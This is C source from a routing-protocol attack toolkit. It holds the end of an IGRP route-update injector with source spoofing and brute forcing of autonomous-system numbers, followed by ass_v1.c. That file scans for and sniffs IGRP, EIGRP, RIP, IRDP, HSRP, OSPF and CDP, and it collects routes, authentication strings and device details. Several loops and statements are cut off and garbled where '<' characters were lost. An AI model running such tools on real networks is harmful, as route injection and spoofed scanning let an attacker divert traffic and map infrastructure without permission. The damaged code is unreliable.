*)smalloc(sizeof(igrp_system_entry_t)*(to-from)+ sizeof(igrp_t)+sizeof(iphdr_t) +3 /* for my checksum function, which sometimes steps over the mark */ ); /* make up IP packet */ iph=(iphdr_t *)tpacket; iph->version=4; iph->ihl=sizeof(iphdr_t)/4; iph->tot_len=htons(*psize); iph->ttl=IP_IGRP_TTL; iph->protocol=IPPROTO_IGRP; memcpy(&(iph->saddr.s_addr),&(cfg.src.s_addr),IP_ADDR_LEN); if (cfg.set_dest) { memcpy(&(iph->daddr.s_addr),&(cfg.dest.s_addr),IP_ADDR_LEN); } else { inet_aton(IP_BCAST,&(iph->daddr)); } /* make up the IGRP header */ igrph=(igrp_t *)(tpacket+sizeof(iphdr_t)); igrph->version=1; igrph->opcode=1; /* Update */ igrph->edition=0; igrph->autosys=htons(autosys); igrph->interior=0; igrph->system=htons(to-from); igrph->exterior=0; /* checksum is comupted later */ for (i=from;ichecksum=cs; return tpacket; } /* reads the content of the routing table file * * returns 0 on success or -1 on error */ int read_routing_table(char *fname) { #define IP_DELIMITER '.' FILE *fd; char *line,*lp,*lp2; struct in_addr taddr; u_int32_t lt; if ((fd=fopen(fname,"r"))==NULL) { perror("fopen"); return (-1); } routesc=0; memset(&routes,0,sizeof(routes)); /* This file format is as follows: * * destination:delay:bandwith:mtu:reliability:load:hopcount * * To simplify things, the destination is 4 octets instead of three */ line=smalloc(MAX_LINE); while (fgets(line,MAX_LINE-1,fd)!=NULL) { if (cfg.verbose>1) printf("%s",line); /* ignore comments */ if (line[0]=='#') continue; /* check for table size */ if (routesc>=MAX_ROUTES) { fprintf(stderr, "Entry '%s' not porcessed\nrouting table full\n", line); continue; } /* first, get the destination tripple */ if ((lp=strchr(line,DELIMITER))==NULL) { fprintf(stderr,"incomplete line in routing file (destination)\n"); return (-1); } lp[0]='\0'; lp++; /* cut the string here */ if (inet_aton(line,(struct in_addr *)&taddr)==0) { fprintf(stderr,"incorrect destination\n"); return (-1); } /* copy the first three octets */ memcpy((u_int8_t *)&(routes[routesc].destination[0]), (u_int8_t *)&(taddr.s_addr),3); /* get the delay */ if ((lp2=strchr(lp,DELIMITER))==NULL) { fprintf(stderr,"incomplete line in routing file (delay)\n"); return (-1); } lp2[0]='\0'; lp2++; // routes[routesc].delay=htonl(atol(lp)); lt=htonl(atol(lp)); memcpy(&(routes[routesc].delay),((u_int8_t *)<)+1,3); /* get the bandwith */ if ((lp=strchr(lp2,DELIMITER))==NULL) { fprintf(stderr,"incomplete line in routing file (bandwith)\n"); return (-1); } lp[0]='\0'; lp++; //routes[routesc].bandwith=htons(atol(lp2)); lt=htonl(atol(lp2)); memcpy(&(routes[routesc].bandwith),((u_int8_t *)<)+1,3); /* get MTU */ if ((lp2=strchr(lp,DELIMITER))==NULL) { fprintf(stderr,"incomplete line in routing file (MTU)\n"); return (-1); } lp2[0]='\0'; lp2++; routes[routesc].mtu=htons(atoi(lp)); /* get reliability */ if ((lp=strchr(lp2,DELIMITER))==NULL) { fprintf(stderr,"incomplete line in routing file (reliability)\n"); return (-1); } lp[0]='\0'; lp++; routes[routesc].reliability=atoi(lp2); /* get load */ if ((lp2=strchr(lp,DELIMITER))==NULL) { fprintf(stderr,"incomplete line in routing file (load)\n"); return (-1); } lp2[0]='\0'; lp2++; routes[routesc].load=atoi(lp); /* get hopcount */ if ((lp=strchr(lp2,'\n'))!=NULL) { /* missing \n is ignored */ lp[0]='\0'; lp++; } routes[routesc].hopcount=atoi(lp2); /* declare this record as complete */ routesc++; memset(line,0,MAX_LINE); } fclose(fd); return 0; } void print_routing_table(void) { int i; u_int32_t lt=0,lt2=0; printf("Destination | Delay | Bandwith | " " MTU | Reliability | Load | Hop count\n"); for (i=0;i -f \n\t" "-a [-b brute force end]\n\t" "[-S ] [-D ]\n", n); exit (1); } irpas-0.10/ass_v1.c0100644000175000017500000016646707416550660012324 0ustar vlmvlm/* ASS * Autonomous System Scanner * - IGRP * * FX * Phenoelit (http://www.phenoelit.de) * (c) 2k * * $Id: ass_v1.c,v 1.24 2001/12/26 22:41:40 fx Exp fx $ */ #include #include #include #include #include #include #include #include #include #include #include #include #include "protocols.h" #include "packets.h" #include "build.h" /* we need a sniffer enigine here */ #include #include /* definitions */ #define IPTTL 0x80 #define RIP_PORT 520 #define HSRP_PORT 1985 #define EIGRP_HELLO_TIME 12 #define IP_BCAST "255.255.255.255" #define CAPLENGTH 1542 #define DEST_LENGTH 15 #define BANNER "ASS [Autonomous System Scanner] $Revision: 1.24 $\n"\ "\t(c) 2k++ FX \n"\ "\tPhenoelit (http://www.phenoelit.de)\n" #define FCHAR_IGRP 'I' #define FCHAR_EIGRP 'E' #define FCHAR_EIGRP_RT 'e' #define FCHAR_IRDP 'R' #define FCHAR_CDP 'C' #define FCHAR_RIPv1 '1' #define FCHAR_RIPv2 '2' #define FCHAR_HSRP 'H' #define FCHAR_OSPF 'O' #define FCHAR_ACTIVE_ALL "IER12" /* new result management * ... types */ typedef struct { struct in_addr dest; unsigned int as; unsigned long delay; unsigned long bandw; unsigned int mtu; unsigned int reliability; unsigned int load; unsigned int hopcount; void *next; // next record } RES_route_igrp_t; typedef struct { unsigned long as; unsigned short ios_major; unsigned short ios_minor; unsigned short eigrp_major; unsigned short eigrp_minor; void *next; } RES_route_eigrp_t; typedef struct { unsigned long as; unsigned int type; /* external or internal */ struct in_addr nexthop; /* external */ struct in_addr origrouter; unsigned long origas; unsigned long externalmetric; unsigned short externallink; /* general */ unsigned long delay; unsigned long bandwidth; unsigned long mtu; unsigned short hopcount; unsigned short reliability; unsigned short load; struct in_addr netmask; struct in_addr dest; void *next; } RES_route_eigrprt_t; typedef struct { struct in_addr dest; unsigned long preference; void *next; } RES_route_irdp_t; typedef struct { struct in_addr dest; unsigned long metric; void *next; } RES_route_ripv1_t; #define RIP2AUTH_NONE 0 #define RIP2AUTH_TEXT 2 #define RIP2AUTH_MD5 3 typedef struct { struct in_addr dest; struct in_addr mask; struct in_addr nexthop; unsigned int routetag; unsigned long metric; void *next; } RES_route_ripv2_t; typedef struct { struct in_addr virtip; char auth[9]; struct ether_addr vmac; unsigned short version; unsigned short state; unsigned short hello; unsigned short hold; unsigned short group; unsigned short prio; void *next; } RES_route_hsrp_t; typedef struct { /* from header */ struct in_addr source; struct in_addr area; int authtype; char authdata[9]; /* from hello */ struct in_addr netmask; struct in_addr designated; struct in_addr backup; unsigned long dead; unsigned short prio; unsigned int hello; void *next; } RES_route_ospf_t; typedef struct { char *deviceid; // struct in_addr addr; char *portid; unsigned long capas; char *software; char *platform; char *vtpmgmt; unsigned int vlan; unsigned short duplex; void *next; } RES_cdp_info_t; #define CAP_IGRP 0x001 #define CAP_IRDP 0x002 #define CAP_EIGRP 0x004 #define CAP_RIPv1 0x008 #define CAP_CDP 0x010 #define CAP_HSRP 0x020 #define CAP_RIPv2 0x040 #define CAP_OSPF 0x080 #define CAP_RIPv2auth 0x100 #define CAP_EIGRP_RT 0x200 typedef struct { struct in_addr addr; unsigned int capa; RES_route_igrp_t *igrp; RES_route_irdp_t *irdp; RES_route_ripv1_t *rip1; RES_route_ripv2_t *rip2; unsigned short rip2auth_type; char rip2pw[17]; RES_route_eigrp_t *eigrp; RES_route_eigrprt_t *eigrpr; RES_route_hsrp_t *hsrp; RES_route_ospf_t *ospf; RES_cdp_info_t *cdp; void *next; // next record } result_t; /* config */ struct { int verbose; char *device; u_int16_t as_start,as_stop; int eigrpmc; int spoof_src; struct in_addr src; int set_dest; struct in_addr dest; int prom; int cont; int passive; int cdp_show_software; unsigned long sdelay; char *active_protos; char *inputfile; } cfg; /************************************ * globals */ u_char *rawpacket; int atsock; pcap_t *cap; int stop_flag=0; result_t *anchor; /************************************ * prototypes */ void usage(char *n); /* IGRP construction */ u_char *construct_igrp_request(u_int16_t autosys, int *psize); /* EIGRP construction */ u_char *construct_eigrp_request(struct in_addr *dd, u_int32_t autosys, int *psize); /* IRDP construction */ u_char *construct_irdp_request(int *psize); /* RIP construction */ u_char *construct_rip_request(int *psize); u_char *construct_rip2_request(int *psize); /* PCAP */ int initialize_pcap(void); void signaler(int sig); void evaluate_packet(u_char *frame,int frame_length); void net_listen(void); /* result management */ int add_route(int rtype,struct in_addr *addr,unsigned int as,void *data); void print_results(void); void clean_results(void); /* the main function */ int main(int argc, char **argv) { char option; extern char *optarg; unsigned long tm1; int i; /* scanner packet */ int plength; /* finding former findings */ result_t *c; RES_route_eigrp_t *ceigrp; memset(&cfg,0,sizeof(cfg)); cfg.passive=cfg.prom=1; while ((option=getopt(argc,argv,"vcpAMsi:a:b:S:D:T:P:r:"))!=EOF) { switch (option) { case 'v': /* verbose */ cfg.verbose++; break; case 'i': /* local network device */ cfg.device=smalloc(strlen(optarg)+1); strcpy(cfg.device,optarg); break; case 'a': /* autonomous system start*/ cfg.as_start=atoi(optarg); break; case 'b': /* autonomous system stop */ cfg.as_stop=atoi(optarg); break; case 'S': /* spoof source */ if (inet_aton(optarg,&(cfg.src))==0) { fprintf(stderr, "source IP address seems to be wrong\n"); return (1); } cfg.spoof_src++; break; case 'D': /* set destination */ if (inet_aton(optarg,&(cfg.dest))==0) { fprintf(stderr, "dest. IP address seems to be wrong\n"); return (1); } cfg.set_dest++; break; case 'p': /* promiscous mode */ cfg.prom=0; break; case 'c': /* don't continue capture */ cfg.cont++; break; case 'T': /* delay between each packet */ cfg.sdelay=atol(optarg); break; case 'A': /* not passive */ cfg.passive=0; break; case 'M': /* EIGRP mutlicast scan */ cfg.eigrpmc++; break; case 's': /* show CDP software info */ cfg.cdp_show_software++; break; case 'P': /* selection of protocols */ cfg.active_protos=smalloc(strlen(optarg)+1); strcpy(cfg.active_protos,optarg); break; case 'r': /* input file */ cfg.inputfile=(char*)smalloc(strlen(optarg)+1); strcpy(cfg.inputfile,optarg); break; default: usage(argv[0]); } } if ((!cfg.device)&&(!cfg.inputfile)) usage(argv[0]); if (!cfg.set_dest) inet_aton(IP_BCAST,&(cfg.dest)); if (cfg.as_stop==0) cfg.as_stop=65535; if (cfg.as_start>cfg.as_stop) { fprintf(stderr,"Start has to be smaller then stop ...\n"); return (1); } if (cfg.passive) cfg.cont=0; if (cfg.active_protos==NULL) { cfg.active_protos=smalloc(strlen(FCHAR_ACTIVE_ALL)+1); strcpy(cfg.active_protos,FCHAR_ACTIVE_ALL); } if (cfg.inputfile!=NULL) { if (!cfg.passive) printf("Passive mode implicit when reading from file\n"); cfg.passive=1; cfg.cont=0; } if (!cfg.inputfile) { /* set up socket ... */ if ((atsock=init_socket_IP4(cfg.device,1))==(-1)) return(1); /* if spoofing is enabled, copy it */ if (!cfg.spoof_src) { memcpy(&(cfg.src.s_addr), &(packet_ifconfig.ip.s_addr), IP_ADDR_LEN); } } /* set up sniffer */ if (initialize_pcap()==(-1)) return (1); /* signal handling */ signal(SIGTERM,&signaler); //signal(SIGABRT,&signaler); signal(SIGINT,&signaler); /* my shit */ printf(BANNER); printf("\tIRPAS build %s\n",BUILD); if (!cfg.passive) { printf("Scanning\n"); fflush(stdout); /* scan for IRDP */ if (strchr(cfg.active_protos,FCHAR_IRDP)!=NULL) { if (cfg.verbose) printf("+ scanning IRDP ...\n"); rawpacket=construct_irdp_request(&plength); sendpack_IP4(atsock,rawpacket,plength); tm1=(unsigned long)time(NULL); while ((!stop_flag)&&(tm1+1>(unsigned long)time(NULL))) net_listen(); sendpack_IP4(atsock,rawpacket,plength); free(rawpacket); } /* scan for RIPv1 */ if (strchr(cfg.active_protos,FCHAR_RIPv1)!=NULL) { if (cfg.verbose) printf("+ scanning RIPv1 ...\n"); rawpacket=construct_rip_request(&plength); sendpack_IP4(atsock,rawpacket,plength); tm1=(unsigned long)time(NULL); while ((!stop_flag)&&(tm1+1>(unsigned long)time(NULL))) net_listen(); sendpack_IP4(atsock,rawpacket,plength); free(rawpacket); } /* scan for RIPv2 */ if (strchr(cfg.active_protos,FCHAR_RIPv2)!=NULL) { if (cfg.verbose) printf("+ scanning RIPv2 ...\n"); rawpacket=construct_rip2_request(&plength); sendpack_IP4(atsock,rawpacket,plength); tm1=(unsigned long)time(NULL); while ((!stop_flag)&&(tm1+1>(unsigned long)time(NULL))) net_listen(); sendpack_IP4(atsock,rawpacket,plength); free(rawpacket); } /* scan IGRP */ if (strchr(cfg.active_protos,FCHAR_IGRP)!=NULL) { if (cfg.verbose) printf("+ scanning IGRP ...\n"); for (i=cfg.as_start;i<=cfg.as_stop;i++) { if (cfg.verbose>2) { printf("Scanning %s - AS# %d\n", inet_ntoa(cfg.dest),i); } /* send packet */ rawpacket=construct_igrp_request(i,&plength); sendpack_IP4(atsock,rawpacket,plength); free(rawpacket); net_listen(); //if (cfg.sdelay) usleep(cfg.sdelay); if ((cfg.sdelay)&&((i%cfg.sdelay)==0)) usleep(10000); if (stop_flag) break; } } /* scan for EIGRP */ /* IF the destination is set, scan for AS information on this * router like in IGRP. * IF no destination is set, wait some time for EIGRP HELLOS and * then scan for their data */ if (strchr(cfg.active_protos,FCHAR_EIGRP)!=NULL) { if ((cfg.set_dest)||(cfg.eigrpmc)) { struct in_addr eigrpd; if (cfg.set_dest) memcpy(&eigrpd,&(cfg.dest),sizeof(struct in_addr)); else inet_aton("224.0.0.10",&eigrpd); if (cfg.verbose) printf("+ scanning EIGRP ...\n"); for (i=cfg.as_start;i<=cfg.as_stop;i++) { if (cfg.verbose>2) { printf("Scanning %s - AS# %d\n", inet_ntoa(eigrpd),i); } /* send packet */ rawpacket=construct_eigrp_request(&eigrpd, (unsigned long)i,&plength); sendpack_IP4(atsock,rawpacket,plength); free(rawpacket); net_listen(); //if (cfg.sdelay) usleep(cfg.sdelay); if ((cfg.sdelay)&&((i%cfg.sdelay)==0)) usleep(10000); if (stop_flag) break; } } /*end if directed scan */else { if (cfg.verbose) printf("+ wainting for EIGRP HELLOs (%us) ...\n", EIGRP_HELLO_TIME); tm1=(unsigned long)time(NULL); while ((!stop_flag)&&(tm1+EIGRP_HELLO_TIME> (unsigned long)time(NULL))) net_listen(); c=anchor; while (c!=NULL) { ceigrp=c->eigrp; while (ceigrp!=NULL) { if (cfg.verbose) printf("++ scanning EIGRP AS %lu on %s\n", ceigrp->as,inet_ntoa(c->addr)); rawpacket=construct_eigrp_request( &(c->addr),ceigrp->as,&plength); sendpack_IP4(atsock,rawpacket,plength); free(rawpacket); tm1=(unsigned long)time(NULL); while ((!stop_flag)&&(tm1+1>(unsigned long)time(NULL))) net_listen(); ceigrp=ceigrp->next; } c=c->next; } /* end of temporary result loop */ } /* end if EIGRP scan with no destination */ } /* end of EIGRP selected scan */ } /* end of active mode */ else { printf("passive listen ... (hit Ctrl-C to finish)\n"); fflush(stdout); } if (!cfg.cont) { /* ... continue capture, may be there are still responses */ if (!cfg.passive) printf("\nContinuing capture ... (hit Ctrl-C to finish)\n"); while (!stop_flag) net_listen(); } else { printf("\n"); } print_results(); /* at the end of the day, close our socket */ pcap_close(cap); if (!cfg.inputfile) { close(atsock); } clean_results(); return (0); } /********************** FUNCTIONS **********************/ void net_listen(void) { u_char *pcap_data, *ppacket; struct pcap_pkthdr pcap_head,phead; if ((pcap_data=(u_char *)pcap_next(cap,&pcap_head))!=NULL) { /* make a local copy of the data, * pcap will overwrite the buffer if needed */ memcpy(&phead,&pcap_head,sizeof(struct pcap_pkthdr)); ppacket=(u_char *)smalloc(phead.caplen); memcpy(ppacket,pcap_data,phead.caplen); evaluate_packet(ppacket,phead.caplen); free(ppacket); } else if (cfg.inputfile) stop_flag++; } void evaluate_packet(u_char *frame,int frame_length) { struct ether_header *eth; iphdr_t *ip; igrp_t *igrp; igrp_system_entry_t *isys; icmphdr_t *icmph; irdp_t *irdph; irdp_rec_t *irdpr; udphdr_t *udp; ripv1hdr_t *rip1; ripv1addr_t *raddr; ripv2addr_t *raddr2; /* size is equal to v1 ... anyway */ eigrp_t *eigrp; eigrpsoft_t *eigrps; eigrpintroute_t *eigrpr; hsrp_t *hsrp; ospf_header_t *ospfh; /* for CDP */ struct eth_LLC *eth_llc; u_char *cdpbegin; cdp_generic_t *cdpg; struct cdp_address_entry *cdpa; unsigned int cdpdatalength; struct in_addr caa; int i; if (cfg.verbose>2) printf("... Packet ...\n"); eth=(struct ether_header *)frame; if (ntohs(eth->ether_type)==ETHERTYPE_IP) { if (cfg.verbose>2) printf("\tIP\n"); ip=(iphdr_t *)(frame+sizeof(struct ether_header)); /* if it is from myself, igore it */ if (!memcmp(&(ip->saddr), &(packet_ifconfig.ip.s_addr),IP_ADDR_LEN)) return; if (cfg.verbose>2) printf("\tnot me\n"); /* if it is from the spoofed self, igore it */ if (!memcmp(&(ip->saddr),&(cfg.src),IP_ADDR_LEN)) return; /* IGRP ??? */ if (ip->protocol==IPPROTO_IGRP) { /* size check */ if ((sizeof(struct ether_header)+sizeof(iphdr_t)+sizeof(igrp_t)) >frame_length) return; if (cfg.verbose>2) printf("\tigrp\n"); igrp=(igrp_t *)(frame+sizeof(struct ether_header)+ sizeof(iphdr_t)); if (cfg.verbose>1) { printf("%c",FCHAR_IGRP); fflush(stdout); } /* if this wasn't an update, just add the router */ if (igrp->opcode!=IGRP_OPCODE_UPDATE) { add_route(CAP_IGRP,&(ip->saddr), ntohs(igrp->autosys),NULL); } else { /* now, check for routes in the update */ if (cfg.verbose>2) printf("\t%d exterior routes in update" " (experimental)\n" "\t%d interior routes in update" " (experimental)\n" "\t%d system routes in update\n", ntohs(igrp->exterior), ntohs(igrp->interior), ntohs(igrp->system)); for (i=0;isystem);i++) { if ( (sizeof(struct ether_header)+ sizeof(iphdr_t)+ sizeof(igrp_t)+ (i+1*sizeof(igrp_system_entry_t))) >frame_length) { fprintf(stderr,"WARNING: IGRP packet says it contains" " %d system routes but ends after %d\n", igrp->system,i); return ; } isys=(igrp_system_entry_t *)(frame+ sizeof(struct ether_header)+ sizeof(iphdr_t)+ sizeof(igrp_t)+ (i*sizeof(igrp_system_entry_t))); add_route(CAP_IGRP,&(ip->saddr), ntohs(igrp->autosys),isys); } } /* end of UPDATE */ /* end of IGRP */ } else if (ip->protocol==IPPROTO_ICMP) { /* it's an ICMP */ if (cfg.verbose>2) printf("\ticmp\n"); icmph=(icmphdr_t *)(frame+sizeof(struct ether_header)+ sizeof(iphdr_t)); if (icmph->type==ICMP_ROUTER_ADVERT) { /* it's actually a router advertisement */ if (cfg.verbose>2) printf("\tIRDP\n"); if (cfg.verbose>1) { printf("%c",FCHAR_IRDP); fflush(stdout); } if ( (sizeof(struct ether_header)+sizeof(iphdr_t)+ sizeof(icmphdr_t)+sizeof(irdp_t)) >frame_length) return; irdph=(irdp_t *)(frame+sizeof(struct ether_header)+ sizeof(iphdr_t)+sizeof(icmphdr_t)); for (i=0;i<(irdph->num_addr);i++) { if ( (sizeof(struct ether_header) +sizeof(iphdr_t) +sizeof(icmphdr_t) +sizeof(irdp_t) +(i+1*sizeof(irdp_rec_t))) >frame_length) { fprintf(stderr,"WARNING: IRDP packet says it contains" " %d routes but ends after %d\n", irdph->num_addr,i); return ; } irdpr=(irdp_rec_t *)(frame +sizeof(struct ether_header) +sizeof(iphdr_t) +sizeof(icmphdr_t) +sizeof(irdp_t) +(i*sizeof(irdp_rec_t))); add_route(CAP_IRDP,&(ip->saddr), 0,irdpr); } /* end of for */ } /* end of ICMP IRDP */ } /* end if IPPROTO_ICMP */ else if (ip->protocol==IPPROTO_UDP) { if (cfg.verbose>2) printf("\tudp\n"); udp=(udphdr_t *)(frame+sizeof(struct ether_header)+ sizeof(iphdr_t)); if (ntohs(udp->dport)==RIP_PORT) { if ((sizeof(struct ether_header)+sizeof(iphdr_t)+ sizeof(udphdr_t)+sizeof(ripv1hdr_t))>frame_length) return; /* RIP ! */ rip1=(ripv1hdr_t *)(frame+sizeof(struct ether_header)+ sizeof(iphdr_t)+sizeof(udphdr_t)); if (rip1->version==1) { if (cfg.verbose>2) printf("\tRIPv1\n"); if (cfg.verbose>1) { printf("%c",FCHAR_RIPv1); fflush(stdout); } i=1; while ( (sizeof(struct ether_header) +sizeof(iphdr_t) +sizeof(udphdr_t) +sizeof(ripv1hdr_t) +i*sizeof(ripv1addr_t))<=frame_length) { raddr=(ripv1addr_t *) (frame+sizeof(iphdr_t)+sizeof(udphdr_t)+ sizeof(struct ether_header)+sizeof(ripv1hdr_t)+ (i-1)*sizeof(ripv1addr_t)); if (ntohs(raddr->addrfamily)==2) { add_route(CAP_RIPv1,&(ip->saddr),0,raddr); } else { if (cfg.verbose) printf("RIPv1 addr not IP.\n"); } i++; } } /* end RIPv1 */ else if (rip1->version==2) { if (cfg.verbose>2) printf("\tRIPv2\n"); if (cfg.verbose>1) { printf("%c",FCHAR_RIPv2); fflush(stdout); } i=1; while ( (sizeof(struct ether_header) +sizeof(iphdr_t) +sizeof(udphdr_t) +sizeof(ripv2hdr_t) +i*sizeof(ripv2addr_t))<=frame_length) { raddr2=(ripv2addr_t *) (frame+sizeof(iphdr_t)+sizeof(udphdr_t)+ sizeof(struct ether_header)+sizeof(ripv2hdr_t)+ (i-1)*sizeof(ripv2addr_t)); if (ntohs(raddr2->addrfamily)==2) { add_route(CAP_RIPv2,&(ip->saddr),0,raddr2); } else if (ntohs(raddr2->addrfamily)==0xFFFF) { add_route(CAP_RIPv2auth,&(ip->saddr),0,raddr2); } else { if (cfg.verbose) printf("RIPv2 addr not IP or auth.\n"); } i++; } } /* end RIPv2 */ else fprintf(stderr,"The program seems to be stoneage:" " RIP version %u ???\n",rip1->version); } /* end of RIP (UDP port)*/ else if (ntohs(udp->dport)==HSRP_PORT) { if ((sizeof(struct ether_header)+sizeof(iphdr_t)+ sizeof(udphdr_t)+sizeof(hsrp_t))>frame_length) return; hsrp=(hsrp_t *)(frame+sizeof(struct ether_header)+ sizeof(iphdr_t)+sizeof(udphdr_t)); if (cfg.verbose>2) printf("\tHSRP\n"); if (cfg.verbose>1) { printf("%c",FCHAR_HSRP); fflush(stdout);} if (hsrp->opcode==HSRP_OPCODE_HELLO) /* only HELLOs are supported */ add_route(CAP_HSRP,&(ip->saddr),0,hsrp); } /* end of HSRP port */ } /* enf of UDP */ else if (ip->protocol==IPPROTO_EIGRP) { if (cfg.verbose>2) printf("\teigrp\n"); if (cfg.verbose>1) { printf("%c",FCHAR_EIGRP); fflush(stdout);} eigrp=(eigrp_t *)(frame+sizeof(struct ether_header) +sizeof(iphdr_t)); if (eigrp->opcode==EIGRP_HELLO) { int f=0; i=0; while ( (sizeof(struct ether_header) +sizeof(iphdr_t) +sizeof(eigrp_t) +i +sizeof(eigrpsoft_t))<=frame_length) { /* as long as there could be still a software * section in there ... */ eigrps=(eigrpsoft_t *)(frame+sizeof(struct ether_header) +sizeof(iphdr_t) +sizeof(eigrp_t) +i); i+=ntohs(eigrps->length); if (ntohs(eigrps->type)==EIGRP_TYPE_SOFT) { add_route(CAP_EIGRP,&(ip->saddr), ntohl(eigrp->as),eigrps); f++; break; } } /* end of loop through eigrp */ if (!f) /* if there was no software info in EIGRP HELLO, add it */ add_route(CAP_EIGRP,&(ip->saddr), ntohl(eigrp->as),NULL); } /* end of HELLO */ else if (eigrp->opcode==EIGRP_UPDATE) { i=0; while ( (sizeof(struct ether_header) +sizeof(iphdr_t) +sizeof(eigrp_t) +i +sizeof(eigrpintroute_t))<=frame_length) { /* as long as there could be one more * internal route in there ... */ eigrpr=(eigrpintroute_t *)(frame+sizeof(struct ether_header) +sizeof(iphdr_t) +sizeof(eigrp_t) +i); i+=ntohs(eigrpr->length); if ((ntohs(eigrpr->type)==EIGRP_TYPE_IN_ROUTE) ||(ntohs(eigrpr->type)==EIGRP_TYPE_EX_ROUTE)) { if (cfg.verbose>1) { printf("%c",FCHAR_EIGRP_RT); fflush(stdout); } add_route(CAP_EIGRP_RT,&(ip->saddr), ntohl(eigrp->as),eigrpr); } } /* end of loop through eigrp */ } /* end of UPDATE */ } /* end of EIGRP */ else if (ip->protocol==IPPROTO_OSPF) { if (cfg.verbose>2) printf("\tOSPF\n"); if (cfg.verbose>1) { printf("%c",FCHAR_OSPF); fflush(stdout);} if ((sizeof(struct ether_header)+sizeof(iphdr_t)+ sizeof(ospf_header_t)+sizeof(ospf_hello_t)) >frame_length) { add_route(CAP_OSPF,&(ip->saddr),0,NULL); } else { /* there is enough stuff in it to be OSPF hello */ ospfh=(ospf_header_t *)(frame+sizeof(struct ether_header) +sizeof(iphdr_t)); if ((ospfh->version!=2)||(ospfh->type!=OSPF_HELLO)) add_route(CAP_OSPF,&(ip->saddr),0,NULL); else /* version 2 supported, it's Hello and long enough */ add_route(CAP_OSPF,&(ip->saddr),0,ospfh); } } /* end of OSPF */ } /* not IP */ /* maybe it's CDP, this could help */ eth_llc=(struct eth_LLC *)(frame +sizeof(struct eth_ieee802_3)); if ( (ntohs(eth_llc->proto)==0x2000)&& (eth_llc->orgcode[0]==0x00)&& (eth_llc->orgcode[1]==0x00)&& (eth_llc->orgcode[2]==0x0c)) { /* could be CDP */ if (cfg.verbose>1) { printf("%c",FCHAR_CDP); fflush(stdout); } else if (cfg.verbose>2) printf("CDP packet ...\n"); cdpbegin=(u_char *)(frame +sizeof(struct eth_ieee802_3) +sizeof(struct eth_LLC) +sizeof(struct cdphdr)); cdpdatalength=(frame_length -sizeof(struct eth_ieee802_3) -sizeof(struct eth_LLC) -sizeof(struct cdphdr)); cdpg=(cdp_generic_t*)cdpbegin; do { if (ntohs(cdpg->type)==TYPE_ADDRESS) { if (cfg.verbose>2) printf("Number of addr's in it: %d\n", ntohl(*((u_int32_t *) ((u_char*)cdpg+2*sizeof(u_int16_t))) )); cdpa=(struct cdp_address_entry *)((u_char*)cdpg+ 2*sizeof(u_int16_t)+sizeof(u_int32_t)); if (cdpa->proto!=0xCC) { if (cfg.verbose) printf("CDP not speaking IP at" "%02x:%02x:%02x:%02x:%02x:%02x\n", *((u_char*)frame+6)&0xFF, *((u_char*)frame+7)&0xFF, *((u_char*)frame+8)&0xFF, *((u_char*)frame+9)&0xFF, *((u_char*)frame+10)&0xFF, *((u_char*)frame+11)&0xFF); memset(&(caa),0,sizeof(caa)); add_route(CAP_CDP,&caa,cdpdatalength,(u_char*)cdpbegin); } else { memcpy(&(caa.s_addr),&(cdpa->addr),IP_ADDR_LEN); add_route(CAP_CDP,&caa,cdpdatalength,(u_char*)cdpbegin); } } cdpg=(cdp_generic_t *)((u_char*)cdpg+ntohs(cdpg->length)); } while (((u_char*)cdpg-(u_char*)frame)2) fprintf(stderr,"\nSignal received.\n"); } int initialize_pcap(void) { #define PATTERNSTRING "not src host " #define IPSTRLEN 16 char pcap_err[PCAP_ERRBUF_SIZE]; /* buffer for pcap errors */ struct bpf_program cfilter; /* the compiled filter */ bpf_u_int32 network,netmask; char tipstr[IPSTRLEN+1]; char *notfilter; if (!cfg.inputfile) { /* prepare filter */ memset(&tipstr,0,IPSTRLEN+1); strcpy(tipstr,inet_ntoa(cfg.src)); notfilter=(char *)smalloc(strlen(PATTERNSTRING)+IPSTRLEN+1); strcpy(notfilter,PATTERNSTRING); strcat(notfilter,tipstr); /* get my network and netmask */ if (pcap_lookupnet(cfg.device,&network,&netmask,pcap_err)!=0) { fprintf(stderr,"pcap_lookupnet(): %s\n",pcap_err); return (-1); } /* open the sniffer */ if ((cap=pcap_open_live(cfg.device,CAPLENGTH, cfg.prom, /* in promi mode */ // 0, /* no timeouts sometimes don't work ...*/ //1000, /* sometimes doesn't work ...*/ 1, /* sometimes doesn't work ...*/ pcap_err))==NULL) { fprintf(stderr,"pcap_open_live(): %s\n",pcap_err); return (-1); } if (pcap_datalink(cap)!=DLT_EN10MB) { fprintf(stderr,"works on Ethernet only, sorry.\n"); return (-1); } if (pcap_compile(cap,&cfilter,notfilter,0,netmask)!=0) { pcap_perror(cap,"pcap_compile()"); return (-1); } if (pcap_setfilter(cap,&cfilter)!=0) { pcap_perror(cap,"pcap_setfilter()"); return (-1); } free(notfilter); } else { if ((cap=pcap_open_offline(cfg.inputfile,pcap_err))==NULL) { fprintf(stderr,"pcap_open_offline(): %s\n",pcap_err); return (-1); } } return 0; } /* constructs the IGRP request packet * * Returns a pointer to the packet or NULL if failed * * returns also the size in *psize */ u_char *construct_igrp_request(u_int16_t autosys, int *psize) { #define PADDING_SIZE 14 u_char *tpacket; iphdr_t *iph; igrp_t *igrph; u_int16_t cs; /* checksum */ char all_igrp[]="224.0.0.10"; *psize=PADDING_SIZE+sizeof(igrp_t)+sizeof(iphdr_t); tpacket=(u_char *)smalloc(PADDING_SIZE+sizeof(igrp_t)+sizeof(iphdr_t) +3 /* for my checksum function, which sometimes steps over the mark */ ); /* make up IP packet */ iph=(iphdr_t *)tpacket; iph->version=4; iph->ihl=sizeof(iphdr_t)/4; iph->tot_len=htons(*psize); iph->ttl=IPTTL; iph->protocol=IPPROTO_IGRP; memcpy(&(iph->saddr.s_addr),&(cfg.src.s_addr),IP_ADDR_LEN); if (!cfg.set_dest) inet_aton(all_igrp,(struct in_addr *)&(iph->daddr)); else memcpy(&(iph->daddr.s_addr),&(cfg.dest.s_addr),IP_ADDR_LEN); /* make up the IGRP header */ igrph=(igrp_t *)(tpacket+sizeof(iphdr_t)); igrph->version=1; igrph->opcode=2; /* Update */ igrph->edition=0; igrph->autosys=htons(autosys); igrph->interior=0; igrph->system=0; igrph->exterior=0; /* make up checksum */ cs=chksum((u_char *)igrph,(*psize-sizeof(iphdr_t))); igrph->checksum=cs; return tpacket; } /* constructs the EIGRP request packet * * Returns a pointer to the packet or NULL if failed * * returns also the size in *psize */ u_char *construct_eigrp_request(struct in_addr *dd, u_int32_t autosys, int *psize) { u_char *tpacket; iphdr_t *iph; eigrp_t *eigrph; eigrppara_t *epara; eigrpsoft_t *esoft; u_int16_t cs; /* checksum */ char all_igrp[]="224.0.0.10"; 